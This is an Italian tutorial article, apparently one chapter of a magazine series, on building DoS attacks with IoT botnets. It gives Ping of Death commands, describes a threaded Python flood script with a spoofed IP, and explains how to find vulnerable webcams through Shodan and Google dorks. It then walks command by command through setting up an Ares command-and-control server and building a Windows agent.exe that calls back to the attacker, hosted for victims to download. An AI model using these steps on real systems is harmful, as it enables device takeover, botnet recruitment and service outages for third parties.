A cura di Vincenzo Digilio – Cyber Security Specialist

DoS Attack using IoT Devices

 Capitolo V – Happy Birthday

Durante la lettura del capitolo cinque – Happy Birthday, pensai che l’attacco DoS viene spesso praticato, nella quotidianità, verso sé stessi. Spesso lo usiamo per sottrarci ad un compito che non vogliamo assolvere, per evitare di fermarci a riflettere su qualcosa che ci destabilizzerebbe o che in qualche maniera ci spingerebbe verso un cambiamento. Non importa il vettore d’accatto che scegliamo di utilizzare per non pensare (alcol, droga, routine, etc.), l’obbiettivo del nostro attacco è sempre il medesimo: sfuggire a noi stessi.

DoS Attack
[ Torna all’indice ]

L’attacco Denial of Service (DoS) è un attacco informatico in cui l’autore cerca di esaurire le risorse o la larghezza di banda della vittima, “floodandola” (inondandola) di richieste.

Le più importanti tipologie di attacchi DoS sono:

  • Synchronize SYN flood : Il target viene sommerso da una serie di richieste SYN.
  • Domain Name System (DNS) flood : Il server DNS vittima viene sommerso da una serie di richieste di DNS resolution
  • Packet Internet Grouper flood: Il target viene sommerso da richieste ICMP Echo Request (ping)
  • User Datagram Protocol (UDP) flood: Il target viene sommerso da una serie di richieste UDP
  • Internet Control Message Protocol (ICMP) broadcast: Il target viene sommerso da richieste di ping flood, ICMP_ECHO e Smurf

Dunque, potremmo dire che l’efficacia di un attacco DoS dipende dal volume di traffico che l’attaccante riesce a generare per sommergere (letteralmente) la vittima di “richieste”. La successiva domanda è: qual è lo strumento che l’attaccante utilizza per generare questo volume di fuoco?

Botnet
[ Torna all’indice ]

Le Botnet altro non sono che reti di computer compromessi da un malware (slave) che rispondono ad un padrone (un master).

Più slave popoleranno la nostra botnet, maggiore sarà l’efficacia del nostro attacco DoS.
L’attaccante, ad esempio, potrebbe decidere di infettare decina di migliaia di computer presenti sulla rete… Ma se invece ci fosse una fonte migliore da cui a attingere: miliardi di device connessi in rete scarsamente protetti e facili da infettare?

IoT
[ Torna all’indice ]

Il termine Internet of Things (IoT) fu introdotto per la prima volta nel 1999 da Kevin Asthon e definisce una rete di dispositivi con la capacità di connettere bilioni di device. Questo tipo di rete è costituita da oggetti interconnessi che raccolgono informazioni dall’ambiente, consentendo l’interazione con molteplici aspetti della vita quotidiana, nei più disparati campi di applicazione (agricoltura, domotica, ingegneria biomedica, smart city, sistemi embedded, videosorveglianza, etc…)

L’IoT rappresenta un terreno molto fertile in cui reclutare i propri slave, poiché costituito da una moltitudine di device i cui gli standard di sicurezza sono ancora più bassi rispetto al normale e per cui la sensibilità verso la minaccia è poca o nulla.

In particolare i punti deboli dell’IoT sono:

  • Solitamente i device IoT hanno accesso completo ad internet, senza restrizioni di sorta
  • Il sistema operativo è una versione ridotta di una distribuzione Linux
  • La password di accesso (se presente), nella maggior parte dei casi, è quella di default
  • Gli aggiornamenti sono scarsi o nulli

Ping of Death
[ Torna all’indice ]

Procediamo ora con un semplice e rudimentale esempio di DoS attack, conosciuto come Ping of Death (PoD).  Il meccanismo alla base è simile a quello del mail bomb: se la vittima apre il pacchetto, innesca un buffer overflow.

Secondo lo standard RFC 791 che definisce l’Internet Protocol (IP), un pacchetto IP può avere una lunghezza massima di 65,536 bytes ed è composto dal HEADER, OPTIONS e DATA. Il compito dell’attaccante è quello di creare un ICMP echo request, attraverso il comando ping, che sia più grande della lunghezza massima (65,536 bytes) consentita, violando difatti lo standard IP.

Il vettore di attacco utilizzato è quello della frammentazione. Sfruttando la limitazione di trasmissione del dato, conosciuta come Maximum Transmission Unit (MTU) e che indica la dimensione massima in byte di un pacchetto dati trasmesso (solitamente 1500 byte), viene camuffata la reale grandezza del pacchetto IP iniziale. Quando è necessario trasmettere un dato che eccede l’MTU, tale dato viene frammentato in pacchetti più piccoli contenenti un offset (che permette di ricostruire l’intera informazione) e parte del dato originale. Una volta ricevuti i dati frammentati, il computer tenterà di ricostruire il pacchetto IP originale, ed è a questo punto che l’attacco PoD sortirà il suo effetto. La ricostruzione del dato trasmesso eccederà la lunghezza massima consentita di 65,536 bytes, provocando uno straripamento di dati in altre zone di memoria: un buffer overflow e nella maggior parte dei casi, il conseguente crash del sistema.

Ping of Death in Windows

ping -l 65500 –w 1 –n 1

  • ping : la mia ICMP echo request
  • : l’IP bersaglio
  • -l 65500 : dimensioni del buffer. Windows 10 –l 14550
  • -w : timeout espresso in millisecondi (potremmo specificare un tempo inferiore, Es. 0.0001)
  • -n : l’opzione permette di specificare quanti pacchetti inviare al secondo (potremmo specificare un numero di pacchetti superiore, Es. 10000).

Ping of Death per Linux/UNIX/macOS

ping -s 65500 –t 1 –n 1

  • ping : la mia ICMP echo request
  • : l’IP bersaglio
  • -s : dimensioni del pacchetto in bytes
  • -t : numero di hop di risposta
  • n : nessuna richiesta DNS

DoS Script
[ Torna all’indice ]

Facciamo un ulteriore step e vediamo come creare un semplice script in python per un Denial-of-Service.

Il nostro primo passo è dichiarare le due librerie necessarie: socket per la connessione e threading per implementare più thread, ovvero più istanze di processo, in maniera concorrenziale.

Passiamo alla nostra dichiarazione, specificando: l’indirizzo IP della vittima (nel nostro esempio è il router), l’indirizzo IP fasullo che genera la richiesta (che non garantisce, ovviamente, l’anonimato) ed infine la porta target che desideriamo dos-sare. Se volessimo portare l’attacco ad un altro specifico servizio, dovremmo conoscere la porta che utilizza.

La funzione attack è la funzione che sarà generata da ogni singolo thread, innescando un ciclo infinito di richieste di:

  • Creazione di un socket
  • Connessione alla vittima
  • Invio richiesta connessione http, encoding ed invio alla vittima
  • introduciamo il fake IP nell’header, eseguiamo l’encoding e lo inviamo alla vittima
  • Chiudiamo il socket

Lanciamo quindi più threads che eseguiranno la nostra funzione attack, simultaneamente.

Eseguiamo lo script, dopo avergli assegnato i permessi:

chmod 777 [nomescript.py]

./[nomescript].py

Monitoriamo cosa succede nella nostra rete utilizzando il tool etherape.

Procediamo con l’installazione:

apt install etherape

Ora eseguiamolo, tramite il comando:

etherape

ed osserviamo cosa sta accadendo: il nostro attacco DOS è in atto e la predominanza del cono rosso nell’immagine ci mostra la mole di traffico HTTP indirizzata verso il nostro router.

La nostra successiva domanda è: dove posso trovare i miei slave per popolare la mia zombi-net?

Uno dei possibili canali prevede l’utilizzo di shodan. Per interrogare il database di shodan, avremo bisogno di una Key API, reperibile registrandosi sul sito internet ufficiale, nella sezione My Account.

https://account.shodan.io/

Copiamo la key ed accediamo alla nostra distribuzione Kali Linux. Dal terminal digitiamo:

shodan init [La nostra API Key]

Una volta che la sincronizzazione sarà avvenuta, decidiamo cosa cercare, ad esempio le webcam e digitiamo:

shodan search webcam

Il risultato sarà immediato e vedremo l’IP dei device (e molti altri dettagli) che potenzialmente potrebbero rappresentare un facile bersaglio per popolare la nostra botnet.

Oppure, potremo decidere di applicare ulteriori filtri, scegliendo di vedere solamente IP, porta, organizzazione e hostname.

shodan search –fields ip_str,port,org,hostnames webcam

Un’ulteriore scelta potrebbe essere quella di interrogare direttamente Google, tramite dei dork. Ad esempio utilizzando la query:

inurl:top.htm inurl:currenttime

A questo punto potremmo:

  • Optare per un brutforce delle credenziali alle web-login-interface, utilizzando BurpSuite (che magari vedremo in un prossimo articolo di Hacker Journal).
  • Utilizzare una campagna di mail spam
  • Sfruttare una CVE ad ampio spettro, magari una recente: CVE-2020–14882: https://github.com/jas502n/CVE-2020-14882

Non mi dilungo oltre sulla creazione della Botnet, poiché sarà oggetto del Capitolo Otto: The Abyss.

Vediamo, invece, come creare la nostra base operativa.

Command & Control (C&C o C2)
[ Torna all’indice ]

Il C&C è il luogo da cui il burattinaio tira i fili: si tratta di N computer da cui l’attaccante invia comandi ai suoi slave o zombie.

Vediamo un esempio e creiamo il nostro C&C utilizzando Ares.

Avremo bisogno di una macchina attaccante, nel mio caso lancerò il C&C dalla macchina virtuale Kali Linux, avente IP: 192.168.178.59

La nostra vittima sarà invece una macchina virtuale Windows 10x64bit, avente IP: 192.168.178.38

Per prima cosa, scarichiamo Ares utilizzando il comando:

git clone https://github.com/sweetsoftware/Ares

Dopo esserci spostati all’interno della cartella di Ares, utilizziamo il commando pip ed installiamo tutti i “requirements” (o dipendenze) necessarie.

cd Ares

pip install -r requirements.txt

Nel caso il comando pip non fosse installato, perché deprecato dalla nuova versione, sarà necessario scaricarlo:

Eseguiamo:

curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py

Ed installiamolo.

python get-pip.py

Verifichiamo la versione:

pip2 –version

Se il processo di installazione delle varie dipendenze dovesse darci qualche problema relativo alla compatibilità, dovremo optare per un’installazione manuale di ogni singola dipendenza elencata in requirements.txt. Utilizziamo il seguente comando per installare il pacchetto:

python –m pip install [NomeDelPacchetto]

Nel caso dei flask-script, occorrerà prima scaricarli (come abbiamo fatto precedentemente con pip).

git clone https://github.com/smurfix/flask-script.git

Ora, spostiamoci nella cartella appena creata e lanciamo il setup.py:

cd flask-script

python setup.py develop

Per i successivi settaggi, procediamo lanciando lo script in bash: wine_setup.sh di Ares:

sudo dpkg –add-architecture i386 && sudo apt-get update && sudo apt-get -yq install wine32

wget -q https://www.python.org/ftp/python/2.7.14/python-2.7.14.msi -O /tmp/python-2.7.msi

wine msiexec /q /i /tmp/python-2.7.msi

wine C:/Python27/Scripts/pip.exe install -r requirements.txt

rm /tmp/python-2.7.msi

A questo punto dovremo settare il file config.py, contenuto nella cartella agent, inserendo il nostro IP alla voce SERVER (il C&C) e sostituendo “localhost”. Salviamo e usciamo.

 cd agent

vi config.py

Generiamo adesso il nostro file agent.exe, utilizzando lo script di Ares builder.py

./builder.py -p Windows –server http://192.168.178.59:8080 -o agent.exe

  • -p : specifica il sistema operativo (OS) su cui verrà eseguito l’agent (la nostra vittima). Ovvero per quale OS stiamo creando l’agent.
  • –server : l’indirizzo del C&C di Ares, la nostra macchina Kali.
  • o : il file di output che verrà generato

Copiamolo il nostro agent appena generato nella cartella /var/www/html , in modo che la vittima possa scaricarlo.

cp agent.exe /var/www/html

Passiamo alla configurazione del nostro server, spostandoci di un livello sotto, e procediamo nell’omonima cartella di Ares: server . Ora, inizializziamo il database:

cd..

cd server

./ares.py initdb

Una volta inizializzato il db, lanciamo il server di Flask, mediante il comando:

./ares.py runserver -h 0.0.0.0 -p 8080 –threaded

  • runserver : lanciamo il nostro server
  • -h : specifichiamo che girerà in locale
  • -p : tramite la porta 8080

Avviamo prima il servizio di apache e connettiamoci al server:

service apache2 start

http://0.0.0.0:8080/

Settiamo la password e clicchiamo su Define. A questo punto, digitiamo muovamente la nostra Passphrase, appena scelta.

Finalmente saremo dentro il nostro C&C.

Adesso, postiamoci sulla nostra macchina Windows ed avviamo un qualsiasi browser. Dalla barra di navigazione digitiamo l’indirizzo del nostro C&C, puntando al file agent che abbiamo creato (e spostato nella cartella /var/www/html).

http://192.168.178.59/agent.exe

Scarichiamolo sul desktop ed eseguiamolo:

Torniamo sul nostro C&C e questa volta clicchiamo su Agent List.

Facciamo infine un piccolo test: dall’interfaccia aperta, cliccando sotto la colonna name sul nome della vittima, dovremmo poter inviare direttamente i comandi al nostro zombie. Nel mio caso, ho lanciato un banale Ifconfig.

Complimenti! Avete appena aggiunto il vostro primo bot/slave/zombi alla vostra botnet.